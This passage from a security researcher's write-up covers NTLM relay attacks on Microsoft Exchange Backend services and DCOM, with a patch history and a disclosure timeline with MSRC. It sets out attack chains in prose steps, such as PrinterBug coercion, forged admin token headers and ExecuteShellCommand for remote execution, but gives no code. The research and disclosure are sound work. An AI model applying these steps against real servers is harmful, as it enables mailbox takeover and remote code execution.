2-1 Attacking BackEnd /EWS

Based on the relay-to-frontend EWS attack we introduced, the earlier attack can be re-applied to Backend seamlessly. The only change is to modify the target port from 443 to 444.

2-2 Attacking BackEnd /RPC

The other showcase is attacking Outlook Anywhere. Exchange defines several internal RPC services that can directly operate the mailbox. Those RPC services have a public interface and can be access through /Rpc/*, and users can access their own mailbox via RPC-over-HTTP protocol, which is described in Microsoft’s MS-RPCH specification. For those who want to understand the underlying mechanism, it’s recommended to read the awesome research Attacking MS Exchange Web Interfaces by Arseniy Sharoglazov for details.

Back to our attack, the core logic is as same as attacking EWS. Because the /Rpc/* is also located at HTTP/HTTPS, it’s also relay-able. Once we bypass the authentication and access the route /Rpc/RpcProxy.dll, we can impersonate as any user and operate his mailbox through the RPC-over-HTTP protocol. To implement the attack, we have ported lots of the Ruler Project to Impacket. As the result of this showcase, we can bypass the authentication by PrinterBug and operates any user’s mailbox through Outlook Anywhere. The entire attack can be illustrated as the following steps:

1. Establish RCP_IN_DATA and RCP_OUT_DATA channels to EX02 for RPC I/O.
2. Trigger PrinterBug on EX01 and relay to EX02 to complete NTLM handshakes.
3. Attach X-CommonAccessToken headers to indicate we are Exchange Admin on both HTTP headers.
4. Interact with the Outlook Anywhere by lots of the coding works upon MS-OXCRPC and MS-OXCROPS over MS-RPCH…

2-3 Attacking BackEnd /PowerShell

The last showcase we would like to highlight is relaying to Exchange PowerShell. Since we have bypassed the authentication on Backend IIS, it’s possible to perform a ProxyShell-Like exploit again! Once we can execute arbitrary Exchange Cmdlets, it shouldn’t be hard to find a Post-Auth RCE to chain together because we are Exchange Admin. There are hundreds of Cmdlets for the purpose of Exchange Management, and many past cases (CVE-2020-16875, CVE-2020-17083, CVE-2020-17132, CVE-2021-31207 and more) have proven that this is not a difficult task, too.

Since we decided not to participate in Pwn2Own, we did not implement this exploit chain. Here we leave this as an exercise for our readers. ;)

2-4 Patching BackEnd

Microsoft assigned CVE-2022-21979 and patch that in August 2022. This patch permanently eliminates all relay attacks on Backend by forcibly turning on the Extended Protection Authentication in IIS.

Round 3 - Relay to Windows DCOM

This part should be all credited to Dlive. The industry knows MS-DCOM is relay-able since Sylvain Heiniger’s awesome Relaying NTLM authentication over RPC research for long. However, Dlive creates an RCE-chain based on the group inheritance of Exchange Servers in Active Directory environments. Please shout out to him!

The idea of this attack is that the Local Administrators group of Exchange Server includes the group member Exchange Trusted Subsystem, and all Exchange Server are in this group by default. That means the Machine Account EX01$ is also the local administrator of EX02. With this concept in mind, the impact of relay-to-MS-DCOM can be maximized and perfectly applied to Exchange Server now!

Dlive has demonstrated this attack in his DEFCON 29 talk. Although he didn’t publish the exploit code, the Wireshark screenshot in his slides^p45 has already hinted everything and is enough to reproduce. The process could be illustrated as the following:

1. Coerce EX01 to initiate a connection, and relay the NTLM to the Endpoint Mapper (port 135) of EX02 to get the Interface of MMC20.Application.
2. Coerce EX01 again, and relay the NTLM to the dynamic port allocated by the EPMapper, and call ExecuteShellCommand(...) under iMMC->Document->ActiveView.
3. Run arbitrary commands for fun and profit!

Writing the whole exploit is fun, just like mixing the dcomexec.py and ntlmrelayx.py together. It’s recommended to write your own exploit code by hand for those who want to understand the DCOM mechanism more!

Patching DCOM

Microsoft assigned CVE-2021-26414 and patch this DCOM-relay in June 2021. However, due to compatibility, the hardening on the server-side is disabled by default. Server Admin has to manually activate the patch by creating the following registry key. If Server Admin didn’t read the documentation carefully, his Exchange Server is probably still vulnerable after the June patch.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\AppCompat\RequireIntegrityActivationAuthenticationLevel

As for when will the protection be enforced on server side? According to the FAQ under the CVE page, Microsoft has addressed a three-phase rollout to fully mitigate this issue. Now, it’s on phase one, and the patch won’t be activated by default until June 14, 2022. So, at the time of this writing, this RCE is still exploitable on the latest version of Exchange Server!

P.S. Microsoft hash announce the second phase and enabled the hardening on the server-side by default on June 14, 2022. Exchange Server that installed the latest Windows patch should be safe now

Round 4 - Relay to Other Exchange Services…

Services that use NTLM as their authentication method on Exchange Server might be vulnerable, too. At the time of this writing, we have already found and reported one to MSRC. We believe there should be more, and this is a good target for those who want to discover vulnerabilities on Exchange Server!

Closing

Here, this series has finally come to an end. Over the past two years, many ups and downs made this journey unusual. From the earliest bug collision with the bad actor, ITW panic, to the Pwn2Own hacking competition, and our talks got acceptance at top-level hacker conferences, we have a clear conscience that we didn’t do anything wrong. However, without understanding the context, there were lots of incorrect speculations and inaccurate media reports toward our company and me; there were even low blows to us… that sucks.

Although there were also happy moments, such as winning our first Master-of-Pwn champion at the top-hacking competition Pwn2Own and got the Best Server-Side bug of Pwnie Awards, the gossip and troll really harassed and depressed me a lot…

Congratulate that I can finally close this research and start my new hacking. I am nothing but a security nerd who would rather spend more time on hacks, and please don’t blame me if my sentences are sometimes short and unclear; it’s not easy to express things in an unfamiliar language. It took me about 4x~5x times to arrange a presentation or article in a non-native language; lots of words were lost during refining.

Hope that one day, there will be no language barrier. In a bar, with beers, we can talk about hacks, the culture, and hacking all night!

Timeline

• Jun 02, 2021 - We reported the vulnerability to Microsoft through the MSRC portal.
• Jun 03, 2021 - MSRC opened the case. (No. 65594)
• Jun 03, 2021 - We attached a 90-days Vulnerability Disclosure Policy to MSRC. The deadline is Sep 01, 2021.
• Jun 11, 2021 - MSRC replied that they are aiming to complete it before September.
• Jul 22, 2021 - MSRC said the case doesn’t look like it will be fully resolved by September.
• Jul 25, 2021 - We said we could extend the deadline and let us know the new estimated date.
• Aug 25, 2021 - We asked for the estimated date again.
• Sep 01, 2021 - MSRC said this case has been expanding into a design change and the intended release date is December 2021.
• Sep 08, 2021 - We asked is it possible to shorten the time frame because we would like to disclose this at conferences.
• Sep 17, 2021 - MSRC replied there are not quick and simple fixes but design level changes, they can’t get the changes in October.
• Oct 25, 2021 - We decided not to disclose this at conferences and gave the team a fair time for fixing and testing. We hoped this bug could be fixed as scheduled in December 2021.
• Dec 21, 2021 - We asked for updates on this case.
• Dec 22, 2021 - MSRC replied they aimed to include this patch in a CU (Cumulative Update) instead of an SU (Security Update) due to the level of changes. The next CU release date will be in March 2022.
• Apr 04, 2022 - We asked that we don’t see the CU in March. When is the new release date?
• Apr 13, 2022 - MSRC replied the CU is delayed, and the current release date is on April 20, 2022.
• Apr 20, 2022 - Microsoft released Exchange Server 2019 CU 12 and Exchange Server 2016 CU 23.
• Apr 21, 2022 - We found our exploit still works fine on the latest version of Exchange Server and asked is this bug really fixed?
• Apr 27, 2022 - MSRC replied the CU contain the code change, but it needs to be activated manually or with a script. There are still some testing concerns but the manual activation process will be public on May 10, 2022.
• May 11, 2022 - MSRC said the documentation and the script are mapped for the Patching Tuesday of June 2022 (Jun 14, 2022).
• Jun 10, 2022 - MSRC said there are still having some issues on testing and they are looking to release this in July 2022.
• Jul 04, 2022 - We asked if it will release in this month’s Patching Tuesday.
• Aug 10, 2022 - Don’t see anything, asked again.
• Aug 18, 2022 - Microsoft released the CVE and the patch activation documentation!